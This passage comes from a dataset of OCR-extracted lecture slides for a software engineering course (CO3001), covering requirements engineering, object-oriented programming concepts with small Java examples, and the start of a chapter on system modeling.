| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_073.png", |
| "page_index": 143, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:50:55+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-144-0000": { |
| "id": "CO3001-chapter-3-slide-144-0000", |
| "text": "SUMMARY (CONT.) Requirements elicitation and analysis = iterative process requirements discovery, classification and organization, negotiation and requirements documentation. Techniques for requirements elicitation interviews, scenarios, use-cases and ethnography, etc. Requirements validation = checking the requirements - for validity, consistency, completeness, realism and verifiability. Business, organizational and technical changes inevitably => changes to the requirements for a software system. Requirements management = managing and controlling the requirement changes. sep 2oBK CHAPTER 4.REQUIREMENTSENGINEERING 74", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_074.png", |
| "page_index": 144, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:00+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-145-0000": { |
| "id": "CO3001-chapter-5-slide-145-0000", |
| "text": "SOFTWARE ENGINEERING C03001 CHAPTER 5 - INTRODUCTION TO OBJECT Anh Nguyen-Duc ORIENTED PROGRAMMING Tho Quan Thanh BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_001.png", |
| "page_index": 145, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:03+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-146-0000": { |
| "id": "CO3001-chapter-5-slide-146-0000", |
| "text": "Agenda History Key OOP Concepts Object, Class Instantiation, Constructors Encapsulation Inheritance and Subclasses Abstraction Reuse Polymorphism, Dynamic Binding Object-Oriented Design and Modeling 2 2", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_002.png", |
| "page_index": 146, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:05+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-147-0000": { |
| "id": "CO3001-chapter-5-slide-147-0000", |
| "text": "Agenda There are different approaches to writing computer programs. Procedural programming Object oriented programming They all involve decomposing your programs into parts. And so, from Europe, we get things such ... object-oriented analysis and design (a clever way of breaking up software programming instructions and data into small, reusable objects, based on certain abstraction principles and design hierarchies. -Michael A. Cusumano, The Business Of Software 3", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_003.png", |
| "page_index": 147, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:09+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-148-0000": { |
| "id": "CO3001-chapter-5-slide-148-0000", |
| "text": "O0P ... since 1962 Simula 1 (1962 - 1965) ) and Simula 67 (1967) Norwegian Computing Center, Oslo, Norway by Ole-Johan Dahl and Kristen Nygaard. FORAA Dahl and Nygaard at the time of simula's development Turing Award Winners - 2001 4 4", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_004.png", |
| "page_index": 148, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:12+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-149-0000": { |
| "id": "CO3001-chapter-5-slide-149-0000", |
| "text": "O0P ... since 1962 Smalltalk (1970s), Alan Kay's group at Xerox PARC C++ (early 1980s), Bjarne Stroustrup, Bell Labs 5 5", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_005.png", |
| "page_index": 149, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:14+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-150-0000": { |
| "id": "CO3001-chapter-5-slide-150-0000", |
| "text": "OOp Languages Modula - 3, Oberon, Eiffel, Java, C#, Python many languages have some Object Oriented version or capability One of the dominant styles for implementing j complex programs with large numbers of interacting components . . but not the only programming paradigm and there are variations on object oriented programming 6", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_006.png", |
| "page_index": 150, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:18+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-151-0000": { |
| "id": "CO3001-chapter-5-slide-151-0000", |
| "text": "Definition - OOP, Class Object-oriented programming is a method of programming based on a hierarchy of classes, and well-defined and cooperating objects A class is a structure that defines the data and the methods to work on that data. When you write programs in the Java language, all program data is wrapped in a class, whether it is a class you write or a class you use from the Java platform APl libraries 7 7", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_007.png", |
| "page_index": 151, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:21+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-152-0000": { |
| "id": "CO3001-chapter-5-slide-152-0000", |
| "text": "Definition - Class, Object Class: a collection of data (fields/ variables) and methods that operate on that data define the contents/capabilities of the instances (objects) of the class a class can be viewed as a factory for objects a class defines a recipe for its objects 8 8", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_008.png", |
| "page_index": 152, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:23+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-153-0000": { |
| "id": "CO3001-chapter-5-slide-153-0000", |
| "text": "Example of a class (Java) class Customer / Fields/ variables/ Data private String name; //Can get but not change Customer a = new Customer(<Anh>, 500); private double salary; /7 Cannot get or set a.pay0; 7 Constructor Customer b = new Customer(<Tho>, 600) Customer(String n, double s) String anh name = a.getNameO name = n; order = s; b.pay0; /Methods void pay () { System.out.println(\"Pay to the order of \" - name + \" $\" + order); public String getNameO return name; } /7 getter 9", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_009.png", |
| "page_index": 153, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:27+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-154-0000": { |
| "id": "CO3001-chapter-5-slide-154-0000", |
| "text": "Definition - Class, Object Object creation: memory is allocated for the object's fields as defined in the class Initialization is specified through a constructor A special method invoked when objects are created Different obiects have the same attributes but the values of those attributes can vary Reminder: The class definition specifies the attributes and methods for all obiects The current value of an object's attribute's determines it's state. 10 10", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_010.png", |
| "page_index": 154, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:30+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-155-0000": { |
| "id": "CO3001-chapter-5-slide-155-0000", |
| "text": "Concept: Classes describe objects Car Class Red Blue Green Ford Toyota Volkswagen Mustang Prius Golf", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_011.png", |
| "page_index": 155, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:33+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-156-0000": { |
| "id": "CO3001-chapter-5-slide-156-0000", |
| "text": "12 Concept: Classes describe objects Attributes State/Properties Representation of State in Java Class Person { Nouns private String hairColor; Black hair hairColor=\"black\" Object Black eyes eyeColor=\"black\" Q White skin skinColor=\"white\" 6feet tall height=6or\"6feet 50 kg weight=50or\"50kg' Behavior/Action Representation of Behavior in Java Person Eat eato Sleep sleep0 Walk walk( Play play0 verbs Study study0 methods www.scientecheasy.com", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_012.png", |
| "page_index": 156, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:37+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-157-0000": { |
| "id": "CO3001-chapter-5-slide-157-0000", |
| "text": "L3 Notation: How to declare and create objects Employee secretary; // declares secretary secretary = new Employee O; // allocates space Employee secretary = new EmployeeO; // does both But the secretary is still \"blank\" (null) secretary.name = \"Adele\"; // dot notation secretary.birthday O; // sends a message", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_013.png", |
| "page_index": 157, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:40+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-158-0000": { |
| "id": "CO3001-chapter-5-slide-158-0000", |
| "text": "Notation: How to reference a field or method Inside a class, no dots are necessary class Person { ... age = age + 1; ...} Outside a class, you need to say which object you are talking to if (john.age < 75) john.birthday O If you don't have an object, you cannot use its fields or methods!", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_014.png", |
| "page_index": 158, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:42+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-159-0000": { |
| "id": "CO3001-chapter-5-slide-159-0000", |
| "text": "nheritance nheritance: programming language feature that allows for the implicit definition of variables/methods for a class through an existing class An object a/so inherits: the fields described in the class's superclasses the methods described in the class's superclasses A class is not a complete description of its objects!", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_015.png", |
| "page_index": 159, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:44+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-160-0000": { |
| "id": "CO3001-chapter-5-slide-160-0000", |
| "text": "Concept: Classes form a hierarchy java.lang Classes are arranged in a treelike structure called a hierarchy Object The class at the root is named Object Throwable Every class, except Object, has a Errors Exceptions superclass When you define a class, you Runtime Exceptions Other Exceptions specify its superclass If you don't specify a superclass, Object is assumed 16", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_016.png", |
| "page_index": 160, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:49+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-161-0000": { |
| "id": "CO3001-chapter-5-slide-161-0000", |
| "text": "Concept: Classes form a hierarchy Subclass relationship ClassA ClassA ClassA B is a subclass of A B inherits all definitions ClassB ClassB ClassB ClassC variables/methods) in A 1) Single 3) Hierarchical A class may have several ClassC ancestors, up to Object 2) Multilevel Every class may have one or more subclasses", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_017.png", |
| "page_index": 161, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:52+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-162-0000": { |
| "id": "CO3001-chapter-5-slide-162-0000", |
| "text": "Example of (part of) a hierarchy Cup is-a is-a LS-a .. CoffeeCup TeaCup is-a is-a is-a . .. .. .. CoffeeMug EspressoCup 18", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_018.png", |
| "page_index": 162, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:54+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-163-0000": { |
| "id": "CO3001-chapter-5-slide-163-0000", |
| "text": "Example of inheritance class Person class Employee private String name; extends Person private int age; private double salary; public void birthday ( { public void pay () { ...} age = age + 1 Every Employee has name and age fields and birthday method as well as a salary field and a pay method. 19", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_019.png", |
| "page_index": 163, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:51:57+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-164-0000": { |
| "id": "CO3001-chapter-5-slide-164-0000", |
| "text": "Example: Assignment of subclasses class Dog { ... } class Poodle extends Dog { ... } Dog myDog; Dog rover = new Dog (); Poodle yourPoodle; Poodle fifi = new Poodle O; myDog = rover; // ok yourPoodle = fifi; l/ ok myDog = fifi; l/ok yourPoodle = rover; // illegal yourPoodle = (Poodle) rover; /runtime check 20", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_020.png", |
| "page_index": 164, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:00+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-165-0000": { |
| "id": "CO3001-chapter-5-slide-165-0000", |
| "text": "Dsbomefuimdaoiastals of Computer Science Encapsulation Also know as separation of concerns and information hiding When creating new data types (classes) the details of the actual data and the way operations work is hidden from the other programmers who will use those new data types So they don't have to worry about them So they can be changed without any ill effects (loose coupling) Encapsulation makes it easier to be able to use something microwave, radio, ipod, the Java String class 21", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_021.png", |
| "page_index": 165, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:03+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-166-0000": { |
| "id": "CO3001-chapter-5-slide-166-0000", |
| "text": "Encapsulation (A capsule) E class class N C 1 E A N c P A data members P S S + U U L methods (behauior) A L T A 1 0 Variables T N } 1 Methods 0 N Fig: Encapsulation", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_022.png", |
| "page_index": 166, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:07+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-167-0000": { |
| "id": "CO3001-chapter-5-slide-167-0000", |
| "text": "Kinds of access in Java Java provides four levels of access: public: available everywhere protected: available within the package (in the same subdirectory) and to all subclasses [default]: available within the package private: only available within the class itself The default is called package visibility In small programs this isn't important...right?", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_023.png", |
| "page_index": 167, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:10+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-168-0000": { |
| "id": "CO3001-chapter-5-slide-168-0000", |
| "text": "1 public class Coat { 2 private double price; Encapsulation 3 private String customer; 4 public double getPrice() { 6 return price; 7 } 8 9 public void setPrice(double price) { 10 this.price = price; 11 } 12 13 public String getCustomer( { 14 return customer; 15 } 16 17 public void setCustomer(String customer) { 18 this.customer = customer; 19 } 20 }", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_024.png", |
| "page_index": 168, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:14+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-169-0000": { |
| "id": "CO3001-chapter-5-slide-169-0000", |
| "text": "Abstraction OOp is about abstraction Abstraction is a method of hiding the implementation detail and only show the functionalities Encapsulation and Inheritance are examples of abstraction", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_025.png", |
| "page_index": 169, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:16+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-170-0000": { |
| "id": "CO3001-chapter-5-slide-170-0000", |
| "text": "Polymorphism Polymorphism means many (poly) shapes (morph) In Java, polymorphism refers to the fact that you can have multiple methods with the same name in the same class There are two kinds of polymorphism: Overloading Two or more methods with different signatures Overriding Replacing an inherited method with another having the same signature", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_026.png", |
| "page_index": 170, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:19+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-171-0000": { |
| "id": "CO3001-chapter-5-slide-171-0000", |
| "text": "Polymorphism two methods have to differ in their names or in the number or types of their parameters foo(int i) and foo(int i, int j) are different foo(int i) and foo(int k) are the same foo(int i, double d) and foo(double d, int i) are different", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_027.png", |
| "page_index": 171, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:21+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-172-0000": { |
| "id": "CO3001-chapter-5-slide-172-0000", |
| "text": "28 Overloading class Test public static void main(String args[]) t myPrint(5); myPrint(5.0); static void myPrint(int i) System.out.println(\"int i =\" + i) static void myPrint(double d) 3 // same name, different parameters System.out.println(\"double d = \" + d); int i = 5 double d = 5.0", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_028.png", |
| "page_index": 172, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:24+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-173-0000": { |
| "id": "CO3001-chapter-5-slide-173-0000", |
| "text": "19 Overriding class Animal public static void main(String args[]) { This is called overriding a Animal animal = new AnimalO; Dog dog = new DogO; method animal.printO Method print in Dog dog.print(); overrides method print in void print( { Animal System.out.println(\"Superclass Animal\"); A subclass variable can shadow a superclass variable public class Dog extends Animal void print0 { but a subclass method can System.out.println(\"Subclass Dog\"); override a superclass method Superclass Animal Subclass Dog", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_029.png", |
| "page_index": 173, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:28+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-174-0000": { |
| "id": "CO3001-chapter-5-slide-174-0000", |
| "text": "Another examples Overriding Overloading class Dog{ class Dog{ public voidbark(J{ public voidbark}){ System.out.println(\"woof\"); System.out.println(\"woof \"); } Same Method Name, } Same Method Name Different Parameter } Sameparameter //overloading method class Hound extends Dog{ public voidbarkint num){ public void sniff(){ for(int i-0; i<num; i++) System.out.priptln(\"sniff\"); System.out.println\"woof\"); } } } public voidbark(){ System.out.println(\"bowl\"); } }", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_030.png", |
| "page_index": 174, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:32+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-175-0000": { |
| "id": "CO3001-chapter-5-slide-175-0000", |
| "text": "When to do? You should over/oad a method when you want to do essentially the same thing, but with different parameters You should override an inherited method if you want to do something slightly different than in the superclass It's almost always a good idea to override public void toString0 -- it's handy for debugging, and for many other reasons To test your own objects for equality, override public void equals(Object o) There are special methods s (in java.util.Arrays) that you can use for testing array equality", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_031.png", |
| "page_index": 175, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:34+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-176-0000": { |
| "id": "CO3001-chapter-5-slide-176-0000", |
| "text": "Reuse Inheritance encourages software reuse Existing code need not be rewritten Successful reuse occurs only through careful planning and design when defining classes, anticipate future modifications and extensions", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_032.png", |
| "page_index": 176, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:36+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-177-0000": { |
| "id": "CO3001-chapter-5-slide-177-0000", |
| "text": "Building Complex Systems From Software Engineering complex systems are difficult to manage Proper use of OOP aids in managing this complexity The analysis and design of OO s systems require corresponding modeling technigues", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_033.png", |
| "page_index": 177, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:39+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-178-0000": { |
| "id": "CO3001-chapter-5-slide-178-0000", |
| "text": "Object-Oriented Modeling UML: Unified Modeling Language OO Modeling Standard Booch, Jacobson, Rumbaugh What is depicted? Class details and static relationships System functionality Object interaction State transition within an object", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_034.png", |
| "page_index": 178, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:42+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-179-0000": { |
| "id": "CO3001-chapter-5-slide-179-0000", |
| "text": "Some UML Modeling Techniques Class Diagrams Use Cases/Use Case Diagrams Interaction Diagrams State Diagrams", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_035.png", |
| "page_index": 179, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:44+07:00" |
| } |
| }, |
| "CO3001-chapter-5-slide-180-0000": { |
| "id": "CO3001-chapter-5-slide-180-0000", |
| "text": "Object-Oriented Design Models Static Mode Class Diagrams Dynamic Model Use Cases, Interaction Diagrams, State Diagrams others", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_5/slide_036.png", |
| "page_index": 180, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:46+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-181-0000": { |
| "id": "CO3001-chapter-6-slide-181-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 Anh Nguyen-Duc CHAPTER 6 - SYSTEM MODELING Tho Quan Thanh BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_001.png", |
| "page_index": 181, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:50+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-182-0000": { |
| "id": "CO3001-chapter-6-slide-182-0000", |
| "text": "TOPICS COVERED Context models Interaction models Structural models Behavioral models Model-driven engineering BK Sep 2019 CHAPTER 5 SYSTEM MODELING 2 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_002.png", |
| "page_index": 182, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:53+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-183-0000": { |
| "id": "CO3001-chapter-6-slide-183-0000", |
| "text": "SYSTEM MODELING the process of developing abstract models of a system each model presenting a different view or perspective means representing a system using some kind of graphical notation s based on notations in the Unified Modeling almost always Language (UML). 7 helps the analyst to understand the functionality of the system use models to communicate with customers. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 3 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_003.png", |
| "page_index": 183, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:52:58+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-184-0000": { |
| "id": "CO3001-chapter-6-slide-184-0000", |
| "text": "EXISTING AND PLANNED SYSTEM MODELS Models of the existing system used during requirements engineering. They help clarify what the existing system does and can be used as a basis for discussing its strengths and weaknesses. These then lead to requirements for the new system. Models of the new system used during requirements engineering to help explain the proposed requirements to other system stakeholders. Engineers use these models to discuss design proposals and to document the system for implementation. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 4 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_004.png", |
| "page_index": 184, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:03+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-185-0000": { |
| "id": "CO3001-chapter-6-slide-185-0000", |
| "text": "SYSTEM PERSPECTIVES An external perspective models the context or environment of the system. An interaction perspective environment, or between the components of a system. A structural perspective models the organization of a system or the structure of the data that is processed by the system. A behavioral perspective models the dynamic behavior of the system and how it responds to events. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 5 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_6/slide_005.png", |
| "page_index": 185, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:53:07+07:00" |
| } |
| }, |
| "CO3001-chapter-6-slide-186-0000": { |
| "id": "CO3001-chapter-6-slide-186-0000", |
| "text": "USE OF GRAPHICAL MODELS As a means of facilitating discussion about an existing or proposed system may be incomplete As a way of documenting an existing system As a detailed system description that can be used to generate a system implementation Models have to be both correct and complete. BK Sep 2019 CHAPTER 5 SYSTEM MODELING 6 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
